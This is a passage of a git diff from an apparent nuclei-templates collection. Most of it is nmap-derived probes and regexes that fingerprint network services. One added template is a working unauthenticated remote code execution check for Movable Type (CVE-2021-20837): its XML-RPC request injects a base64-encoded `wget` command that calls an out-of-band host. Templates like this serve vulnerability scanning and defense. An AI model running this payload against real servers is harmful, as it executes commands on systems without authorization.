inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: crestron-ctp + type: regex + regex: + - ^[-\w]+ Console\r\n\r\n([-\w]+)>\r\r\n diff --git a/nuclei-templates/Other/1689721050.yaml b/nuclei-templates/Other/1689721050.yaml deleted file mode 100644 index e3be3611b9..0000000000 --- a/nuclei-templates/Other/1689721050.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: teamspeak-tcpquery -info: - name: TeamSpeak 2 TCPQuery - author: nmap,cn-kali-team - tags: detect,tech,teamspeak-tcpquery,service - severity: info - metadata: - info: $2 - operating_system: Linux - product: teamspeak2 - rarity: 9 - vendor: teamspeak - verified: true - version: $1 -tcp: -- name: teamspeak-tcpquery-ver - inputs: - - data: ver\r\n - host: - - '{{Hostname}}' - port: 51234,9998 - extractors: - - name: teamspeak-tcpquery - type: regex - regex: - - ^\[TS\]\r\n([\w._-]+) Linux ([\w._-]+)\r\nOK\r\n$ diff --git a/nuclei-templates/Other/1709769305.yaml b/nuclei-templates/Other/1709769305.yaml deleted file mode 100644 index c71bf01f7a..0000000000 --- a/nuclei-templates/Other/1709769305.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: hptsvr -info: - name: HighPoint RAID management service - author: nmap,cn-kali-team - tags: detect,tech,hptsvr,service - severity: info - metadata: - rarity: 0 - version: '3.13' -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: hptsvr - type: regex - regex: - - (?i)^\(\0\0\0hpt_stor\x01..\xbf\0\0\0\0\0\0\0\0....\.\.\.E\0\0\0\0\0\0\0\0$ diff --git a/nuclei-templates/Other/1727118266.yaml b/nuclei-templates/Other/1727118266.yaml new file mode 100644 index 0000000000..267eed4584 --- /dev/null +++ b/nuclei-templates/Other/1727118266.yaml @@ -0,0 +1,22 @@ +id: smtp +info: + name: Postfix smtp-sink + author: nmap,cn-kali-team + tags: detect,tech,smtp,service + severity: info + metadata: + product: postfix + rarity: 0 + vendor: postfix + verified: true +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: smtp + type: regex + regex: + - ^220 smtp-sink ESMTP\r\n$ diff --git a/nuclei-templates/Other/173527743.yaml b/nuclei-templates/Other/173527743.yaml deleted file mode 100644 index e64b994153..0000000000 --- a/nuclei-templates/Other/173527743.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: sip-proxy -info: - name: Berofix VoIP gateway - author: nmap,cn-kali-team - tags: detect,tech,sip-proxy,service - severity: info - metadata: - device_type: VoIP adapter - fallback: - - get-request - rarity: 5 -tcp: -- name: sipoptions - inputs: - - data: 'OPTIONS sip:nm SIP/2.0\r\nVia: SIP/2.0/TCP nm;branch=foo\r\nFrom: ;tag=root\r\nTo: \r\nCall-ID: 50000\r\nCSeq: 42 OPTIONS\r\nMax-Forwards: 70\r\nContent-Length: 0\r\nContact: \r\nAccept: application/sdp\r\n\r\n' - host: - - '{{Hostname}}' - port: 406,5060,8081,31337 - extractors: - - name: sip-proxy - type: regex - regex: - - '(?i)^SIP/2\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?User-Agent: Berofix VOIP Gateway\r\n' diff --git a/nuclei-templates/Other/1754391032.yaml b/nuclei-templates/Other/1754391032.yaml deleted file mode 100644 index ae2d6fdc68..0000000000 --- a/nuclei-templates/Other/1754391032.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: snmp -info: - name: ZyXEL Prestige 660HW ADSL router - author: nmap,cn-kali-team - tags: detect,tech,snmp,service - severity: info - metadata: - device_type: broadband router - rarity: 4 -tcp: -- name: snmpv3-get-request - inputs: - - data: \x30\x3a\x02\x01\x03\x30\x0f\x02\x02\x4a\x69\x02\x03\0\xff\xe3\x04\x01\x04\x02\x01\x03\x04\x10\x30\x0e\x04\0\x02\x01\0\x02\x01\0\x04\0\x04\0\x04\0\x30\x12\x04\0\x04\0\xa0\x0c\x02\x02\x37\xf0\x02\x01\0\x02\x01\0\x30\0 - host: - - '{{Hostname}}' - port: 161,260,3401 - extractors: - - name: snmp - type: regex - regex: - - (?i)^0\x82\0\x3a\x02\x01\0\x04\x06public\xa2\x82\0\x2b.{20}\x06\x08\x2b\x06\x01\x02\x01\x01\x05\0\x04\x0bcfr25657985 diff --git a/nuclei-templates/Other/1755170981.yaml b/nuclei-templates/Other/1755170981.yaml deleted file mode 100644 index a372e5f628..0000000000 --- a/nuclei-templates/Other/1755170981.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: netbios-ns -info: - name: MikroTik router netbios-ns - author: nmap,cn-kali-team - tags: detect,tech,netbios-ns,service - severity: info - metadata: - device_type: router - rarity: 4 -tcp: -- name: nbtstat - inputs: - - data: \x80\xf0\0\x10\0\x01\0\0\0\0\0\0\x20\x43\x4bAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0\x21\0\x01 - host: - - '{{Hostname}}' - port: '137' - extractors: - - name: netbios-ns - type: regex - regex: - - ^\x80\xf0\x85\x80\0\x01\0\0\0\0\0\0 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01\0\0\0\0...\d+\.\d+ \0D\0\0\0 diff --git a/nuclei-templates/Other/666094080.yaml b/nuclei-templates/Other/1759150654.yaml similarity index 100% rename from nuclei-templates/Other/666094080.yaml rename to nuclei-templates/Other/1759150654.yaml diff --git a/nuclei-templates/Other/1763074754.yaml b/nuclei-templates/Other/1763074754.yaml new file mode 100644 index 0000000000..1858fd495d --- /dev/null +++ b/nuclei-templates/Other/1763074754.yaml @@ -0,0 +1,21 @@ +id: domain +info: + name: Michael Tokarev rbldnsd + author: nmap,cn-kali-team + tags: detect,tech,domain,service + severity: info + metadata: + rarity: 1 + version: $1 +tcp: +- name: dnsversion-bind-req + inputs: + - data: \0\x06\x01\0\0\x01\0\0\0\0\0\0\x07version\x04bind\0\0\x10\0\x03 + host: + - '{{Hostname}}' + port: 53,1967,2967,26198 + extractors: + - name: domain + type: regex + regex: + - '(?i)\x07version\x04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03.{7}rbldnsd (\d[\w.\/-]+) ' diff --git a/nuclei-templates/Other/1775067121.yaml b/nuclei-templates/Other/1775067121.yaml new file mode 100644 index 0000000000..b07b6b76c6 --- /dev/null +++ b/nuclei-templates/Other/1775067121.yaml @@ -0,0 +1,19 @@ +id: honeypot +info: + name: Network Flight Recorder BackOfficer Friendly honeypot + author: nmap,cn-kali-team + tags: detect,tech,honeypot,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: honeypot + type: regex + regex: + - ^503 Service Unavailable\r\n\r\n\0$ diff --git a/nuclei-templates/Other/1777747741.yaml b/nuclei-templates/Other/1777747741.yaml new file mode 100644 index 0000000000..8a275efdba --- /dev/null +++ b/nuclei-templates/Other/1777747741.yaml @@ -0,0 +1,20 @@ +id: telnet +info: + name: Huacam telnetd + author: nmap,cn-kali-team + tags: detect,tech,telnet,service + severity: info + metadata: + device_type: webcam + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: telnet + type: regex + regex: + - '^\xff\xfb\x03\xff\xfb\x01\xff\xfd\x03\xff\xfd\x01 Product of HUACAM\r\n \r\n\r\nUsername: ' diff --git a/nuclei-templates/Other/1783847465.yaml b/nuclei-templates/Other/1783847465.yaml new file mode 100644 index 0000000000..014b5ff5a6 --- /dev/null +++ b/nuclei-templates/Other/1783847465.yaml @@ -0,0 +1,24 @@ +id: sip +info: + name: Mitel SIP phone sipd + author: nmap,cn-kali-team + tags: detect,tech,sip,service + severity: info + metadata: + fallback: + - get-request + info: 'model: $1' + rarity: 5 + version: $2 +tcp: +- name: sipoptions + inputs: + - data: 'OPTIONS sip:nm SIP/2.0\r\nVia: SIP/2.0/TCP nm;branch=foo\r\nFrom: ;tag=root\r\nTo: \r\nCall-ID: 50000\r\nCSeq: 42 OPTIONS\r\nMax-Forwards: 70\r\nContent-Length: 0\r\nContact: \r\nAccept: application/sdp\r\n\r\n' + host: + - '{{Hostname}}' + port: 406,5060,8081,31337 + extractors: + - name: sip + type: regex + regex: + - (?i)^SIP/2\.0 200 OK\r\n(?:[^\r\n]+\r\n)*?User-Agent:Mitel-(\d\w+)-SIP-Phone ([\d.]+) [0-9A-F]{12}\r\n diff --git a/nuclei-templates/Other/1826353917.yaml b/nuclei-templates/Other/1826353917.yaml new file mode 100644 index 0000000000..a48aeef2c3 --- /dev/null +++ b/nuclei-templates/Other/1826353917.yaml @@ -0,0 +1,20 @@ +id: printer +info: + name: AIX lpd + author: nmap,cn-kali-team + tags: detect,tech,printer,service + severity: info + metadata: + operating_system: AIX + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: printer + type: regex + regex: + - ^\d+-201 ill-formed FROM address\.$ diff --git a/nuclei-templates/Other/1830389600.yaml b/nuclei-templates/Other/1830389600.yaml deleted file mode 100644 index f3cc7fd65d..0000000000 --- a/nuclei-templates/Other/1830389600.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: hylafax -info: - name: HylaFAX - author: nmap,cn-kali-team - tags: detect,tech,hylafax,service - severity: info - metadata: - hostname: $1 - info: Reverse DNS unauthorized - rarity: 0 - version: $2 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: hylafax - type: regex - regex: - - ^130 Warning, no inverse address mapping for client host name \"[-\w_.]+\"\.\r\n220 ([-\w_.]+) server \(HylaFAX \(tm\) Version ([\d.]+)\) ready\.\r\n diff --git a/nuclei-templates/Other/1858552467.yaml b/nuclei-templates/Other/1858552467.yaml new file mode 100644 index 0000000000..687252865c --- /dev/null +++ b/nuclei-templates/Other/1858552467.yaml @@ -0,0 +1,23 @@ +id: zebra +info: + name: GNU Zebra routing software + author: nmap,cn-kali-team + tags: detect,tech,zebra,service + severity: info + metadata: + product: zebra + rarity: 0 + vendor: gnu + verified: true + version: $1 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: zebra + type: regex + regex: + - ^\r\nHello, this is zebra \(version (\d[-.\w]+)\)\.\r\nCopyright 1996-20 diff --git a/nuclei-templates/Other/1860856484.yaml b/nuclei-templates/Other/1860856484.yaml new file mode 100644 index 0000000000..963be66807 --- /dev/null +++ b/nuclei-templates/Other/1860856484.yaml @@ -0,0 +1,21 @@ +id: couchbase-tap +info: + name: Couchbase Membase + author: nmap,cn-kali-team + tags: detect,tech,couchbase-tap,service + severity: info + metadata: + rarity: 8 + version: $1 +tcp: +- name: couchbase-data + inputs: + - data: \x80\x10\0\0\0\0\0\0\0\0\0\0\x15\xf0\xd1\x62\0\0\0\0\0\0\0\0 + host: + - '{{Hostname}}' + port: '11210' + extractors: + - name: couchbase-tap + type: regex + regex: + - (?i)^\x81\x10..\0\0\0\0\0\0\0.....\0\0\0\0\0\0\0\0ep_version([._\w]+) diff --git a/nuclei-templates/Other/1880775770.yaml b/nuclei-templates/Other/1880775770.yaml deleted file mode 100644 index 2ee8aa2cd8..0000000000 --- a/nuclei-templates/Other/1880775770.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: eve-online -info: - name: EVE Online game server - author: nmap,cn-kali-team - tags: detect,tech,eve-online,service - severity: info - metadata: - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: eve-online - type: regex - regex: - - ^7\0\0\0~\0\0\0\0\x14\x06\x04\xe8\x99\x02\0\x05\xeb\0\x04\xdf\x92\0\0\n\xd7\xa3p=\n\xd7\x18@\x04\x95\xf1\x01\0\x13\x13EVE-EVE-RELEASE@ccp$ diff --git a/nuclei-templates/Other/1891948265.yaml b/nuclei-templates/Other/1891948265.yaml new file mode 100644 index 0000000000..a0ee4bcbd6 --- /dev/null +++ b/nuclei-templates/Other/1891948265.yaml @@ -0,0 +1,19 @@ +id: code42-messaging +info: + name: CrashPlan online backup + author: nmap,cn-kali-team + tags: detect,tech,code42-messaging,service + severity: info + metadata: + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: code42-messaging + type: regex + regex: + - (?i)^\x80c\0\0\x00622996\|com\.code42\.messaging\.security\.DHPublicKeyMessageY\xd4\0\0\0.0\x81.0\x81.\x06\t\*\x86H\x86\xf7\r\x01\x03\x010\x81.\x02A\0 diff --git a/nuclei-templates/Other/1942392055.yaml b/nuclei-templates/Other/1942392055.yaml new file mode 100644 index 0000000000..021fbcf35e --- /dev/null +++ b/nuclei-templates/Other/1942392055.yaml @@ -0,0 +1,24 @@ +id: lotusnotes +info: + name: Lotus Domino server + author: nmap,cn-kali-team + tags: detect,tech,lotusnotes,service + severity: info + metadata: + info: CN=$1;OU=$2/$3;Org=$4 + product: lotus_domino_server + rarity: 6 + vendor: ibm + verified: true +tcp: +- name: notes-rpc + inputs: + - data: \x3A\x00\x00\x00\x2F\x00\x00\x00\x02\x00\x00\x40\x02\x0F\x00\x01\x00\x3D\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x1F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 + host: + - '{{Hostname}}' + port: 130,427,1352,1972,7171,8728,22001 + extractors: + - name: lotusnotes + type: regex + regex: + - (?i)^.\0\0\0.\0\0\0\x03\0\0@\x02\x0f\0.*\x03\0\0\0\0\x02\0/\0.\0\0\0\0\0\0\0.*CN=([-.\w ]+)/OU=([-.\w ]+)/OU=([-.\w ]+)/O=([-.\w ]+) diff --git a/nuclei-templates/Other/1945070832.yaml b/nuclei-templates/Other/1945070832.yaml deleted file mode 100644 index d5cc7bd3dd..0000000000 --- a/nuclei-templates/Other/1945070832.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: oracle -info: - name: Oracle Database - author: nmap,cn-kali-team - tags: detect,tech,oracle,service - severity: info - metadata: - product: database_server - rarity: 7 - vendor: oracle - verified: true -tcp: -- name: oracle-tns - inputs: - - data: \0Z\0\0\x01\0\0\0\x016\x01,\0\0\x08\0\x7F\xFF\x7F\x08\0\0\0\x01\0 \0:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\04\xE6\0\0\0\x01\0\0\0\0\0\0\0\0(CONNECT_DATA=(COMMAND=version)) - host: - - '{{Hostname}}' - port: 1035,1521,1522,1525,1526,1574,1748,1754,14238,20000 - extractors: - - name: oracle - type: regex - regex: - - (?i)^\0\x20\0\0\x02\0\0\0\x016\0\0\x08\0\x7f\xff\x01\0\0\0\0\x20 diff --git a/nuclei-templates/Other/1949761786.yaml b/nuclei-templates/Other/1949761786.yaml new file mode 100644 index 0000000000..c5d5aa4edc --- /dev/null +++ b/nuclei-templates/Other/1949761786.yaml @@ -0,0 +1,23 @@ +id: zeo +info: + name: Zope Enterprise Objects service + author: nmap,cn-kali-team + tags: detect,tech,zeo,service + severity: info + metadata: + info: ZODB $1.$2 + product: zope_enterprise_objects + rarity: 0 + vendor: zope + verified: true +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: zeo + type: regex + regex: + - ^\0\0\0\x04Z(\d)0(\d)$ diff --git a/nuclei-templates/Other/1979422362.yaml b/nuclei-templates/Other/1979422362.yaml deleted file mode 100644 index 57e57ac7dc..0000000000 --- a/nuclei-templates/Other/1979422362.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: ir-alerts -info: - name: Dell $1 print server identification - author: nmap,cn-kali-team - tags: detect,tech,ir-alerts,service - severity: info - metadata: - device_type: printer - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: ir-alerts - type: regex - regex: - - ^.\0\0\0\0Dell ([^\0]+)\0$ diff --git a/nuclei-templates/Other/1980961746.yaml b/nuclei-templates/Other/1980961746.yaml deleted file mode 100644 index 30e24d2e05..0000000000 --- a/nuclei-templates/Other/1980961746.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: smtp -info: - name: Floosietek FTGate smtpd - author: nmap,cn-kali-team - tags: detect,tech,smtp,service - severity: info - metadata: - operating_system: Windows - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: smtp - type: regex - regex: - - ^220 \[[\d.]+\] FTGate Server Ready \(#3\.01\)\r\n diff --git a/nuclei-templates/Other/etcpasswd.yaml b/nuclei-templates/Other/2.yaml similarity index 100% rename from nuclei-templates/Other/etcpasswd.yaml rename to nuclei-templates/Other/2.yaml diff --git a/nuclei-templates/Other/2021-20837.yaml b/nuclei-templates/Other/2021-20837.yaml new file mode 100644 index 0000000000..30204d5225 --- /dev/null +++ b/nuclei-templates/Other/2021-20837.yaml @@ -0,0 +1,54 @@ +id: CVE-2021-20837 + +info: + name: Unauthenticated RCE In MovableType + author: dhiyaneshDK,hackergautam + severity: critical + description: 5002 and earlier (Movable Type Advanced 7 Series), Movable Type Advanced 6.8. 2 and earlier (Movable Type Advanced 6 Series), Movable Type Premium 1.46 and earlier, and Movable Type Premium Advanced 1.46 and earlier allow remote attackers to execute arbitrary OS commands via unspecified vectors. + reference: + - https://nemesis.sh/posts/movable-type-0day/ + - https://github.com/ghost-nemesis/cve-2021-20837-poc + - https://twitter.com/cyber_advising/status/1454051725904580608 + - https://nvd.nist.gov/vuln/detail/CVE-2021-20837 + tags: cve,cve2021,rce,movable + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-20837 + cwe-id: CWE-78 + +requests: + - raw: + - | + POST /cgi-bin/mt/mt-xmlrpc.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: text/xml + + + + mt.handler_to_coderef + + + + + {{base64("`wget http://{{interactsh-url}}`")}} + + + + + + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + + - type: word + words: + - "failed loading package" + + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/Other/2039928909.yaml b/nuclei-templates/Other/2039928909.yaml deleted file mode 100644 index 0fd3b59112..0000000000 --- a/nuclei-templates/Other/2039928909.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: zeo -info: - name: Zope Enterprise Objects service - author: nmap,cn-kali-team - tags: detect,tech,zeo,service - severity: info - metadata: - info: ZODB $1.$2 - product: zope_enterprise_objects - rarity: 0 - vendor: zope - verified: true -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: zeo - type: regex - regex: - - ^\0\0\0\x04Z(\d)([1-9]\d)$ diff --git a/nuclei-templates/Other/206831298.yaml b/nuclei-templates/Other/206831298.yaml deleted file mode 100644 index 169dce18de..0000000000 --- a/nuclei-templates/Other/206831298.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: openlookup -info: - name: OpenLookup - author: nmap,cn-kali-team - tags: detect,tech,openlookup,service - severity: info - metadata: - rarity: 0 - version: $1 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: openlookup - type: regex - regex: - - ^\d+:d7:smethod,6:shello,8:soptions,\d+:d10:shttp_port,\d+:i\d+,10:ssync_port,\d+:i\d+,10:stimestamp,\d+:f\d+(?:\.\d+),8:sversion,\d+:s([\w._-]+),\d+:syour_address,\d+:a\d+:s[\w._-]+,\d+:i\d+,,,,$ diff --git a/nuclei-templates/Other/2095252007.yaml b/nuclei-templates/Other/2095252007.yaml new file mode 100644 index 0000000000..ca7cc9c665 --- /dev/null +++ b/nuclei-templates/Other/2095252007.yaml @@ -0,0 +1,20 @@ +id: kismet +info: + name: Kismet server + author: nmap,cn-kali-team + tags: detect,tech,kismet,service + severity: info + metadata: + rarity: 0 + version: $1 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: kismet + type: regex + regex: + - '^\*KISMET: 0\.0\.0 \d+ \x01Kismet\x01 \d+ \d+ (\S+) \n\*PROTOCOLS:' diff --git a/nuclei-templates/Other/2114651422.yaml b/nuclei-templates/Other/2114651422.yaml new file mode 100644 index 0000000000..5eac896588 --- /dev/null +++ b/nuclei-templates/Other/2114651422.yaml @@ -0,0 +1,20 @@ +id: mud +info: + name: Zork Dungeon MUD + author: nmap,cn-kali-team + tags: detect,tech,mud,service + severity: info + metadata: + info: $1 + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: mud + type: regex + regex: + - ^Welcome to Dungeon\.\t\t\tThis version created ([\w-]+)\.\nYou are in an open field west of a big white house diff --git a/nuclei-templates/Other/2131362948.yaml b/nuclei-templates/Other/2131362948.yaml new file mode 100644 index 0000000000..cf687429ef --- /dev/null +++ b/nuclei-templates/Other/2131362948.yaml @@ -0,0 +1,20 @@ +id: dbsnmp +info: + name: Oracle DBSNMP + author: nmap,cn-kali-team + tags: detect,tech,dbsnmp,service + severity: info + metadata: + rarity: 7 +tcp: +- name: oracle-tns + inputs: + - data: \0Z\0\0\x01\0\0\0\x016\x01,\0\0\x08\0\x7F\xFF\x7F\x08\0\0\0\x01\0 \0:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\04\xE6\0\0\0\x01\0\0\0\0\0\0\0\0(CONNECT_DATA=(COMMAND=version)) + host: + - '{{Hostname}}' + port: 1035,1521,1522,1525,1526,1574,1748,1754,14238,20000 + extractors: + - name: dbsnmp + type: regex + regex: + - ^\0,\0\0\x04\0\0\0\"\0\0 \(CONNECT_DATA=\(COMMAND=version\)\) diff --git a/nuclei-templates/Other/2137267046.yaml b/nuclei-templates/Other/2137267046.yaml deleted file mode 100644 index 1da8ef0e70..0000000000 --- a/nuclei-templates/Other/2137267046.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: zabbix -info: - name: zabbix - author: cn-kali-team - tags: detect,tech,zabbix - severity: info - metadata: - product: zabbix - vendor: zabbix - verified: true -http: -- method: GET - path: - - '{{BaseURL}}/' - matchers: - - type: word - words: - - zabbix sia - - zabbix - condition: and - case-insensitive: true - - type: word - words: - - images/general/zabbix.ico - case-insensitive: true diff --git a/nuclei-templates/Other/2147006267.yaml b/nuclei-templates/Other/2147006267.yaml new file mode 100644 index 0000000000..6cd56a0c0a --- /dev/null +++ b/nuclei-templates/Other/2147006267.yaml @@ -0,0 +1,21 @@ +id: time +info: + name: 32 bits + author: nmap,cn-kali-team + tags: detect,tech,time,service + severity: info + metadata: + info: 32 bits + rarity: 3 +tcp: +- name: help + inputs: + - data: help\r\n\r\n + host: + - '{{Hostname}}' + port: 7,13,37,42 + extractors: + - name: time + type: regex + regex: + - (?i)^[\xd5-\xef]...$ diff --git a/nuclei-templates/Other/2179057332.yaml b/nuclei-templates/Other/2179057332.yaml index 6971b82f9e..acab120783 100644 --- a/nuclei-templates/Other/2179057332.yaml +++ b/nuclei-templates/Other/2179057332.yaml @@ -1,12 +1,13 @@ id: ntp info: - name: Microsoft NTP + name: NTP author: nmap,cn-kali-team tags: detect,tech,ntp,service severity: info metadata: - operating_system: Windows + info: primary server rarity: 5 + version: v4 tcp: - name: ntprequest inputs: @@ -18,4 +19,4 @@ tcp: - name: ntp type: regex regex: - - (?i)^\xdc[\x00-\x0f]..............................................$ + - (?i)^[\x24\x64\xa4]\x01..............................................$ diff --git a/nuclei-templates/Other/2183647176.yaml b/nuclei-templates/Other/2183647176.yaml new file mode 100644 index 0000000000..ef9145876f --- /dev/null +++ b/nuclei-templates/Other/2183647176.yaml @@ -0,0 +1,23 @@ +id: monop +info: + name: GtkAtlantic monopd + author: nmap,cn-kali-team + tags: detect,tech,monop,service + severity: info + metadata: + product: monopd + rarity: 0 + vendor: gtkatlantic + verified: true + version: $1 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: monop + type: regex + regex: + - ^\n diff --git a/nuclei-templates/Other/2188834782.yaml b/nuclei-templates/Other/2188834782.yaml new file mode 100644 index 0000000000..faea7c8ffd --- /dev/null +++ b/nuclei-templates/Other/2188834782.yaml @@ -0,0 +1,20 @@ +id: tn3270 +info: + name: IBM Telnet TN3270 + author: nmap,cn-kali-team + tags: detect,tech,tn3270,service + severity: info + metadata: + info: TN3270E + rarity: 0 +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: tn3270 + type: regex + regex: + - ^\xff\xfd\x28 diff --git a/nuclei-templates/Other/2193906630.yaml b/nuclei-templates/Other/2193906630.yaml deleted file mode 100644 index c96b94e3d3..0000000000 --- a/nuclei-templates/Other/2193906630.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: bitcoin -info: - name: Bitcoin digital currency server - author: nmap,cn-kali-team - tags: detect,tech,bitcoin,service - severity: info - metadata: - product: bitcoind - rarity: 0 - vendor: bitcoin - verified: true - version: 0.3.18$1 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: bitcoin - type: regex - regex: - - (?i)^\xf9\xbe\xb4\xd9version\0\0\0\0\0\x55\0\0\0\x38\x7c\0\0\x01\0\0\0\0\0\0\0........\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff......\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff..............\x02(\..)....$ diff --git a/nuclei-templates/Other/2202695844.yaml b/nuclei-templates/Other/2202695844.yaml index e78ca56f17..06f6f2cb1f 100644 --- a/nuclei-templates/Other/2202695844.yaml +++ b/nuclei-templates/Other/2202695844.yaml @@ -1,11 +1,11 @@ id: bgp info: - name: open; connection rejected + name: connection rejected author: nmap,cn-kali-team tags: detect,tech,bgp,service severity: info metadata: - info: open; connection rejected + info: connection rejected rarity: 0 tcp: - name: 'null' @@ -17,4 +17,4 @@ tcp: - name: bgp type: regex regex: - - ^\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\0\x1d\x01\x04........\0\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\0\x15\x03\x06\x05 + - ^\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\0\x15\x03\x06\x05 diff --git a/nuclei-templates/Other/2226903579.yaml b/nuclei-templates/Other/2226903579.yaml deleted file mode 100644 index 7929e4a83f..0000000000 --- a/nuclei-templates/Other/2226903579.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: buildservice -info: - name: Xoreax IncrediBuild - author: nmap,cn-kali-team - tags: detect,tech,buildservice,service - severity: info - metadata: - operating_system: Windows - rarity: 0 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: buildservice - type: regex - regex: - - (?i)^\$\0\0\0\$\0\0\x000RAR\0 \0\0.\xe2\x02\0\xc4G\x0f\0\0\0\0\0\0\0\0\0\0\0\0\0 diff --git a/nuclei-templates/Other/2227667957.yaml b/nuclei-templates/Other/2227667957.yaml deleted file mode 100644 index 706cf191fa..0000000000 --- a/nuclei-templates/Other/2227667957.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: iscsi -info: - name: StarWind iSCSI - author: nmap,cn-kali-team - tags: detect,tech,iscsi,service - severity: info - metadata: - operating_system: Windows - rarity: 0 - version: $1 build $2 -tcp: -- name: 'null' - inputs: - - data: '' - host: - - '{{Hostname}}' - extractors: - - name: iscsi - type: regex - regex: - - ^\x1b\[2JStarWind iSCSI SAN Software v([\w._-]+) \(Build (\d+), Win32\)\r\nCopyright \(c\) StarWind Software \d+-\d+\. All rights reserved\.\r\n\r\n\r\n$ diff --git a/nuclei-templates/Other/2237723259.yaml b/nuclei-templates/Other/2237723259.yaml deleted file mode 100644 index 81a6dc9e9d..0000000000 --- a/nuclei-templates/Other/2237723259.yaml +++ /dev/null @@ -1,24 +0,0 @@ -id: teamtalk -info: - name: Bearware TeamTalk - author: nmap,cn-kali-team - tags: detect,tech,teamtalk,service - severity: info - metadata: - info: 'servername: $1; protocol: $2' - product: teamtalk - rarity: 9 - vendor: bearware - verified: true -tcp: -- name: teamtalk-login - inputs: - - data: login\n - host: - - '{{Hostname}}' - port: '10333' - extractors: - - name: teamtalk - type: regex - regex: - - ^(?:teamtalk|welcome) userid=\d+ servername=\"([^"]+)\" .* protocol=\"([\w._-]+)\"\r\n diff --git a/nuclei-templates/Other/2256172448.yaml b/nuclei-templates/Other/2256172448.yaml new file mode 100644 index 0000000000..fcbfdcf9fc --- /dev/null +++ b/nuclei-templates/Other/2256172448.yaml @@ -0,0 +1,20 @@ +id: isymphony-client +info: + name: iSymphony client-server + author: nmap,cn-kali-team + tags: detect,tech,isymphony-client,service + severity: info + metadata: + rarity: 0 + version: '2.8' +tcp: +- name: 'null' + inputs: + - data: '' + host: + - '{{Hostname}}' + extractors: + - name: isymphony-client + type: regex + regex: + - ^cT0IKVM3tW4RobagV7TQGwwsZlKt\+NHhc\+oixQKbw4hobhLQZwf6CjzKBJWsmj51o8Sh8LofyVe/sobakIKka79H\+xNHKhvCmBxvgqcKdSuXpx\+i5cirzCuVgJLPYhkQldArMFyuVI9hooqHojLueI\+hQ6XADSAqcRtg/26MJGkSj5GNqXrzircSuKHvsd8J\n diff --git a/nuclei-templates/Other/2257434466.yaml b/nuclei-templates/Other/2257434466.yaml new file mode 100644 index 0000000000..e175bf8cd2 --- /dev/null +++ b/nuclei-templates/Other/2257434466.yaml @@ -0,0 +1,25 @@ +id: afp +info: + name: Apple AFP + author: nmap,cn-kali-team + tags: 